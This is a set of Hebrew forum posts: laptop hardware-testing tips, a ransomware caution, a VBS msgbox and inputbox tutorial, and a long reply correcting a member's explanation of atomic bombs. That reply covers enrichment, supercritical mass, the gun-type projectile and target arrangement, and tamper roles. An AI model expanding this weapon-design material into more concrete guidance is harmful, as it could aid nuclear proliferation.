בנוגע למה שצריך לבדוק - יש את הדברים הבסיסיים שכנראה לא תמצא בהם בעיות כמו מעבד זיכרון ולרוב גם הדיסק אלא אם כן התעללו במחשב
את המעבד תבדוק עם cinebench הבדיקה תיקח בערך 10 דקות ובמקביל תפתח גם תוכנה כמו HWmonitor כדי לראות את הטמפרטורות שהן לא עוברות את אזור ה 90 מעלות
כעצתו של @אהרון-שלום אפשר לבדוק גם עם OCCT את יציבות המעבד
בשביל הזיכרון ראם תעשה בדיקה כמו זאת שמובנית בווינדוס - Windows Memory Diagnostic או memtest86 (האחרון דורש יצירת דיסק אתחול)
את הדיסק תבדוק עם התוכנות של קריסטל דיסק - CrystalDiskInfo תראה לך את דו"ח ה SMART (תוכל להעלות אותו פה שיבדקו אותו) ו CrystalDiskMark תבדוק את המהירות שלו - תבחר גודל קובץ של 4 ג'יגה ו 3 חזרות על כל הבדיקות
תבדוק גם את כל המקשים במקלדת שעובדים טוב וכל החיבורים של המחשב
מצלמה מיקרופון ורמקולים
תבדוק שאין למסך פיקסלים מתים באתר כמו זה - תבדוק את כל הצבעים!
והדבר שהכי חשוב לבדוק במחשבים יד שניה - הבטריה
בשביל זה תריץ את הפקודה הזאת ב CMDpowercfg /batteryreportוהיא תיצור לך בתיקיית המשתמש דו"ח די מפורט על הסוללה אם כי אתה יכול להסתפק בנתון ש HWmonitor הנ"ל יכולה לתת לך
תפתח אותה תחפש את הסוללה בין שאר הרכיבים ותבדוק כמה אחוז ה wear level -
שיתוף | נפלתי לוירוס של תוכנת כופר, תקראו ותלמדו להיזהר@יונימדיה תופעה מאוד שכיחה בזמן האחרון ובאופן כללי צריך ללמוד לא לעשות שום דבר על המחשב שאתר דורש ממך
הדפדפן לא קשור למחשב שעליו הוא רץ ואין שום סיבה שאתר כלשהו יבקש דבר כזה -
המלצה | תגובות להסבר על פצצת אטום@אביעד תקשיב זה מדהים
היה תענוג לקרוא והכל שם ממש ברור
שאפו ענק!!!
נראה שעשית חתיכת מחקר
בכל אופן בתור אחד שמילדותו קרא חוברות מתפוררות על פיזיקה גרעינית (שבאחת מהן עדיין תמכו בתיאוריות של רת'רפורד...) לא התאפקתי לכתוב כמה הערות (ולמצקצקים - הוא הזמין אותי להשאיר הערות)@אביעד כתב בהסבר | הסבר מפורט מה זה פצצת אטום:
הגרעין תופס מעט מאוד מקום אבל מכיל כמעט את כל המסה (המשקל) של האטום
תיקון קטן - מסה היא כמות החומר והמשקל הוא כמה אותו חומר נמשך לעצם בעל כוח כבידתי
לכן על צדק אתה תשקול המון אבל המסה שלך לא תגדל@אביעד כתב בהסבר | הסבר מפורט מה זה פצצת אטום:
אלקטרון
חלקיקים זעירים שמסתובבים מסביב לגרעין, כמו כוכבי לכת מסביב לשמשזה המודל שמקובל להסביר (מודל בוהר) אבל למעשה המסלול הוא הסתברותי והצורה שלו במודלים המקובלים משתנה מאוד (נהוג להסתכל על זה יותר כעל ההסתברות למיקום שבו האלקטרון יהיה בזמן נתון ולא מה המסלול שבו הוא זז)
@אביעד כתב בהסבר | הסבר מפורט מה זה פצצת אטום:
את ההמרה עושים לפי הנוסחה של איינשטיין E=mc² (אנרגיה שווה מסה כפול מהירות האור בריבוע)
זה דבר שבאמת מורכב להבנה אבל עם קצת הפשטה אפשר לקבל תמונה טובה שלו
אם יהיה ביקוש אולי אכתוב הסבר על העניין@אביעד כתב בהסבר | הסבר מפורט מה זה פצצת אטום:
(השאר- 99.3% הוא U-238 שלא מתבקע בקלות).
ליתר דיוק - סופח אליו ניוטרונים חופשיים ובכך הורס את תגובת השרשרת
@אביעד כתב בהסבר | הסבר מפורט מה זה פצצת אטום:
ולכן זה נקרא מסה קריטית- כי בלעדיה אין פיצוץ.
מסה קריטית היא מסה שיכולה להחזיק את עצמה מבלי לדעוך ובזה משתמשים בכורים להפקת אנרגיה לדוגמה
בשביל פיצוץ צריך מסה על קריטית (ציינת את זה בהמשך)@אביעד כתב בהסבר | הסבר מפורט מה זה פצצת אטום:
משחרר חלקיקים (אלפא בטא וגמא)
תיקון קטן - קרינת גמא היא קרינה אלקטרומגנטית ולא קרינת חלקיקים
@אביעד כתב בהסבר | הסבר מפורט מה זה פצצת אטום:
כל יסוד הוא מחולק למטענים חיוביים ושלילים
כל אטום
@אביעד כתב בהסבר | הסבר מפורט מה זה פצצת אטום:
ישנם כמה סוגי איזוטופים שניתנים לפיצול
סוגי יסודות
@אביעד כתב בהסבר | הסבר מפורט מה זה פצצת אטום:
כי פלואורין (F) עוזר בהפרדה ללא השפעה על המסה.
לא ציינת את ההסבר לזה אבל קראתי אותו פעם והוא מעניין - פלואור הוא הגז היחיד שיש לו רק איזוטופ אחד יציב מה שאומר שכל הבדל במשקל המולקולה בתהליך ההעשרה ינבע ממשקל האורניום ולא מהבדלים במשקל מולקולות הגז
@אביעד כתב בהסבר | הסבר מפורט מה זה פצצת אטום:
למרות שההבדל במשקל בין שני האיזוטופים קטן מאוד – כ-1.2% בלבד – הוא מספיק להפרדה.
אפילו פחות
ההבדל של 1.2 אחוז הוא בין אטומי האורניום אבל מכיוון שכאן אנחנו מפרידים אורניום פלואורידי כמו שכתבת קודם ההפרש הוא 238 + (6x19) מול 235 + (6x19) שזה יוצא הבדל של 0.85 אחוז@אביעד כתב בהסבר | הסבר מפורט מה זה פצצת אטום:
¹⁴¹₅₆Ba זה הבריום שכמו שחישבנו למעלה מכיל 141 ניירטונים ו56 פרוטונים.
⁹²₃₆Kr זה הקריפטון שמכיל 92 ניירטונים ו36 פרוטונים.ה 141 בבריום ו 92 בקריפטון זה משקל המסה לא הנייטרונים
@אביעד כתב בהסבר | הסבר מפורט מה זה פצצת אטום:
ישנו הפרש קטן במספר (לא באמת הבנתי איך זה עובד -אבל זה הנוסחה של איינשטין איך להמיר את החומר לאנרגייה.
הנייטרונים שהשתחררו פוגעים באטומים אחרים ומפרקים גם אותם ולא הם המסה שיורדת
זה כבר לב תיאוריית האנרגיה - מסה
באטום הגדול והלא יציב הייתה לחלקיקים יותר מסה וכשהוא התפצל לאטומים קטנים והדוקים יותר המסה שלהם ירדה ואנרגיית הקשר עלתה
המסה שירדה הפכה לאנרגיה@אביעד כתב בהסבר | הסבר מפורט מה זה פצצת אטום:
ה"קליע" (Projectile): גליל של אורניום (מורכב מ-6 טבעות) שהיה ממוקם בצד אחד של הקנה.
ה"מטרה" (Target): גליל חלול של אורניום (מורכב מ-9 טבעות) שהמתין בקצה השני של הקנה.הפוך - הקליע היה הגליל החלול והמטרה הייתה גליל אטום שנכנס לתוכו
@אביעד כתב בהסבר | הסבר מפורט מה זה פצצת אטום:
ברגע שהמספר יהיה יותר נמוך- האטומים יסרבו להתקרב זה לזה בגלל הדחייה החשמלית
הדחיסה היא כדי להגדיל את סיכויי הפגיעה של הנייטרונים ולא כדי שהאטומים יתקרבו (את זה עושים בפצצת מימן ומשתמשים בפצצת אטום בשביל להפעיל את הלחץ הזה או יותר נכון את התזוזות המהירות שיכולות לעשות את זה)
נקודה שלא הדגשת - צורת החומר הבקיע היא כדור או גליל כדי להקטין את שטח הפנים שלו ולצמצם את זליגת הנייטרונים
@אביעד כתב בהסבר | הסבר מפורט מה זה פצצת אטום:
מסביב לכדור הפלוטוניום יש מעטפת של אורניום 238 שיש לה שתי תפקידים חשובים:
האורניום גם גורם לניוטרונים להשאר בתוך כדור הפלוטוניום וככה להגביר את יעילות הביקוע.
נקודה מעניינת נוספת שזכורה לי - אורניום 238 אמנם סופח נייטרונים אבל רק כאלו שפוגעים בו במהירות איטית - אם זה יקרה במהירות אדירה כמו כאן הוא יהפוך לרפלקטור ואפילו מתפרק בחלקו
-
המלצה | 🚀 [פרויקט מהפכני] העברת קבצים למחשב ללא אינטרנט דרך שיחה קולית (טלפון כשר!) - הקוד המלא@כבוד-הרב רעיון נפלא ומעניין מאוד מבחינה טכנית
נשמע כמו ניסיון החייאה של הפקס אבל מעניין באמת מה המגבלות שלו
נתת לי נושא למחקר
מסקנות יבואו בהמשך -
מדריך | תכנות ב VBSבמדריך הקודם (שנמצא כאן) למדנו איך להדפיס הודעות על המסך באמצעות קובץ VBS כמו"כ למדנו איך להוסיף סמלים וכפתורים להודעה
במדריך הזה אני יעשה חזרה קצרה על מה שראינו אז ונתקדם הלאה
הרעיון הכללי הוא אפשרות ליצירת הודעה שתוצג למשתמש ולאפשר לו להגיב עליה - באמצעות כפתורים או באמצעות תיבת טקסט שהוא יכתוב בה את התשובה שלו ולפי זה נאמר לתוכנית איך להמשיך
בשלב הראשון נחזור על איך אנחנו מדפיסים הודעה
פותחים עורך טקסטים כלשהו וכותבים בו ככהmsgbox "הודעה" ,1, "כותרת"נשמור את הקובץ בסיומת vbs (שימו לב שמכיוון שהקובץ מכיל עברית יש לשמור אותו בקידוד ANSI) ונריץ אותו. הפלט שנקבל יראה כך:

שימו לב שיש לנו כותרת, הודעה, ושני כפתורים - אישור וביטול ישנן כפתורים נוספים שעליהם נפרט בהמשך
בשלב הבא, נוכל גם להוסיף סמלים, כמו בקוד הבא לדוגמהmsgbox "הודעה" ,1+16, "כותרת"(כדי לחבר בין 2 הקודים - הקוד של הכפתורים והקוד של הסמל הוספנו + ביניהם)
כמו שאתם רואים, נוסף לנו סמל איקס לצד ההודעה
ישנם סמלים נוספים שאפשר להכניס להודעה כך לדוגמה-
הקוד 16 יכניס איקס
-
הקוד 32 יכניס סימן שאלה
-
הקוד 48 יכניס שימן אזהרה
-
הקוד 64 יכניס סימן הודעה
כמו כן אפשר גם להכניס כפתורים נוספים או אחרים עפ"י הטבלה הבאה

סליחה שהטבלה באנגלית פשוט לא מצאתי משהו בעברית אבל אני חושב שזה די ברור - ישנם 6 אפשרויות לכפתורים שחלק מהם יציגו כמה - כמו הספרה 1 שתכניס "אישור" ו "ביטול" והספרה 2 שתכניס "בטל" "נסה שנית" ו "התעלם"
שימו לב שאפשר גם במקום קוד מספרי להכניס טקסט - בשביל כפתור אישור אפשר לכתוב VBOKOnly וכן הלאה - כמו שמופיע בטבלה
עכשיו נראה איך אפשר לפעול עפ"י הקלט שהמשתמש הכניס - לדוגמה כאן - לפי איזה כפתור שהוא לחץ
נעשה את זה ע"י שימוש במשתנים ובתנאים
תנסו את הקוד הבאa=msgbox("הודעה" ,4, "כותרת") if a=6 then msgbox "yes" if a=7 then msgbox "no"הרעיון בקוד הזה הוא שאנחנו מכניסים את התוצאה של החלון הודעה לתוך משתנה (שקראתי לו a) ואז בודקים מה המשתנה הזה מכיל ולפי זה מנפיקים הודעה
כאן המקום לציין שלכל כתפור יש כמין "קוד יציאה" - כלומר קוד ש"יוצא" ממנו כשלוחצים עליו וכאן הכנסנו את הקוד הזה לתוך משתנה ומכיוון שהקוד שיוצא מהכפתור של "כן" הוא 6 - במידה ולחצנו "כן" תודפס ההודעה "yes" הנה טבלת קודי היציאה של הכפתורים השונים
עכשיו נסביר איך ליצור תיבת טקסט שבתוכה המשתמש יוכל לכתוב משהו ולאחר מכן נבדוק מה הוא כתב
כדי ליצור תיבה כזו נצטרך לקרוא לפונקציה inputbox - תיבת קלט כמו בקוד הבאname = inputbox("מה השם שלך?" , "שאלה:") msgbox name ,0, ".זה השם שלך"הסקריפט הזה יבקש מהמשתמש להכניס את שמו ולאחר מכן יציג לו את מה שהוא הכניס בחלון נפרד
כאן בעצם הכנסנו את הקלט של המשתמש לתוך משתנה ולאחר מכן הדפסנו את השם הזה בהודעה רגילה אחרת
כמובן שלכל זה יש פוטנציאל גדול יותר שעליו נלמד בפוסטים שיבואו
לסיום, אני רוצה שנראה איך אפשר לעצב את חלון ההודעה
לדוגמה, כדי להוסיף ירידת שורה בתוך ההודעה - ז"א שיהיה טקסט מסויים בשורה אחת ואחר בשורה אחרת - יש להכניס את הקוד VBlf בצורה הזוMsgBox "הודעה 1" &vblf& "הודעה 2 הודעה 3"נוכל גם להצמיד 2 ירידות שורה אחד אחרי השני לדוגמה
MsgBox "הודעה 1" &vblf&vblf& "הודעה 2 הודעה 3"מומלץ ג"כ לקרוא את ההוספה של @מגדלים בסוף הפוסט הקודם שלי (בקישור למעלה)
ולבינתיים, עד כאן, נפגש במדריכים הבאים

-